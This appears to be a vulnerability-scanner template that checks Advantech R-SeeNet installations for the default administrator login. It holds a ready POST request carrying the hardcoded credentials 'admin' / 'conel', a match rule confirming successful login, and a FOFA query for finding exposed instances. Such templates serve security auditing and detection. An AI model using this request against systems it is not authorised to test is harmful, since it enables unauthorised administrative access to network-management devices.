rseenet-default-password: Advantech R-SeeNet Default Login

id: rseenet-default-password

info:
  name: Advantech R-SeeNet Default Login
  author: princechaddha
  severity: high
  verified: true
  description: |-
    fofa "R-SeeNet"
  tags: rseenet,default-password
  created: 2023/10/30

rules:
  r0:
    request:
      method: POST
      path: /index.php
      body: |
        page=login_change&oper=0&username=admin&password=conel&submit=Login
    expression: response.status == 200 && response.body.bcontains(b'User is succesfully logged.') && response.body.bcontains(b'<title>R-SeeNet')
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.